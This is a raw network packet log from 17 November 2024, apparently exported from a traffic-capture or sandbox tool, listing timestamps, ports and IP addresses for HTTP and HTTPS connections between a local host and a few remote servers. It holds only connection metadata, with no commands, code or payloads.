Nov 17, 2024 12:35:40.305160046 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.305170059 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.305174112 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.305183887 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.305188894 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.305202961 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.305205107 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.305217981 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.305219889 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.305232048 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.305234909 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.305248976 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.305286884 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.305505991 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.305511951 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.305526972 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.305542946 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.305553913 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.305555105 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.305568933 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.305586100 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.305597067 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.305599928 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.305615902 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.305618048 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.305632114 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.305649996 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.305681944 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.305742025 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.305757046 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.305772066 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.305780888 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.305787086 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.305799961 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.305803061 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.305816889 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.305818081 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.305830956 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.305850029 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.305860043 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.306044102 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.306057930 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.306073904 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.306090117 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.306097031 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.306113005 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.306118965 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.306126118 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.306138992 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.306140900 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.306157112 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.306169033 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.306169033 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.306181908 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.306185007 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.306200027 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.306212902 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.306212902 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.306229115 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.306241035 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.306243896 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.306252956 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.306288004 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.306425095 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.306440115 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.306456089 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.306471109 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.306473017 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.306488991 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.306502104 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.306514978 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.306528091 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.306539059 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.312378883 CET	49914	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:40.312417030 CET	443	49914	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:40.312514067 CET	49914	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:40.312926054 CET	49914	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:40.312939882 CET	443	49914	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:40.321605921 CET	49908	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.321605921 CET	49908	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.321620941 CET	443	49908	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.321629047 CET	443	49908	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.322371006 CET	49909	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.322382927 CET	443	49909	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.322412014 CET	49909	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.322417974 CET	443	49909	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.334789038 CET	49913	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.334805012 CET	443	49913	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.335169077 CET	49910	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.335172892 CET	443	49910	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.342916012 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.342957020 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.342972040 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.342977047 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.343000889 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.343009949 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.343035936 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.343103886 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.343118906 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.343136072 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.343148947 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.343163013 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.343189955 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.343219995 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.343231916 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.343261957 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.343341112 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.348404884 CET	49915	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.348424911 CET	443	49915	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.348546982 CET	49915	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.348701000 CET	49915	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.348716021 CET	443	49915	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.354531050 CET	49916	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.354567051 CET	443	49916	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.354629040 CET	49916	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.356853962 CET	443	49906	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:40.365288019 CET	443	49905	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:40.367382050 CET	49906	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:40.367438078 CET	443	49906	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:40.367506981 CET	49906	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:40.368171930 CET	49905	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:40.368233919 CET	443	49905	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:40.368383884 CET	443	49905	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:40.368397951 CET	49905	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:40.368436098 CET	49905	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:40.403431892 CET	49917	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.403485060 CET	443	49917	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.403563023 CET	49917	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.405769110 CET	49916	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.405818939 CET	443	49916	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.407918930 CET	49917	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.407957077 CET	443	49917	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.409828901 CET	49918	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.409873962 CET	443	49918	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.409955025 CET	49918	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.410067081 CET	49918	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.410089016 CET	443	49918	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.417479038 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.417526007 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.417532921 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.417541027 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.417566061 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.417582989 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.417618990 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.417634010 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.417649031 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.417659998 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.417674065 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.417690992 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.417707920 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.417745113 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.417762041 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.417778015 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.417798996 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.417809963 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.417843103 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.417865038 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.417880058 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.417881012 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.417905092 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.417912960 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.417993069 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.418019056 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.418032885 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.418057919 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.418083906 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.420289040 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.420339108 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.420347929 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.420362949 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.420387983 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.420408010 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.420417070 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.420428991 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.420444965 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.420460939 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.420463085 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.420489073 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.420511007 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.420846939 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.420874119 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.420890093 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.420903921 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.420917988 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.420936108 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.420999050 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421013117 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421039104 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.421044111 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.421049118 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421130896 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421145916 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421173096 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.421185970 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421194077 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.421257019 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421295881 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.421308994 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421322107 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421344995 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.421376944 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.421395063 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421462059 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421478033 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421484947 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.421500921 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.421500921 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421516895 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421518087 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.421535015 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.421550035 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.421626091 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421641111 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421657085 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421667099 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.421673059 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421674967 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.421694994 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.421710014 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.421777010 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421789885 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421806097 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421817064 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.421821117 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421829939 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.421833992 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421844959 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.421875000 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.421928883 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421943903 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421960115 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421967983 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.421977997 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.421991110 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422000885 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422024012 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422065973 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422089100 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422103882 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422118902 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422127962 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422132969 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422147989 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422152042 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422168970 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422188044 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422281027 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422293901 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422307968 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422317028 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422326088 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422334909 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422338963 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422358036 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422359943 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422359943 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422374010 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422374010 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422395945 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422404051 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422415018 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422429085 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422444105 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422449112 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422458887 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422466040 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422475100 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422481060 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422489882 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422715902 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422729969 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422755003 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422771931 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422785997 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422791004 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422802925 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422816038 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422816038 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422827005 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422830105 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422840118 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422846079 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422863960 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422885895 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422885895 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422909021 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422945023 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422960043 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422974110 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.422996998 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.422997952 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423026085 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.423094034 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423106909 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423116922 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423124075 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423125029 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.423172951 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423249960 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.423249960 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.423279047 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423294067 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423309088 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423335075 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423337936 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.423337936 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.423350096 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423366070 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423371077 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.423382044 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423397064 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423402071 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.423429012 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.423448086 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.423576117 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423592091 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423605919 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423620939 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423636913 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423648119 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.423648119 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.423648119 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.423651934 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423675060 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.423696995 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.423846006 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423858881 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423872948 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423887014 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.423891068 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423907995 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423912048 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.423923969 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423934937 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.423938990 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423958063 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.423960924 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.423983097 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.424005032 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.424045086 CET	80	49778	185.215.113.206	192.168.2.5
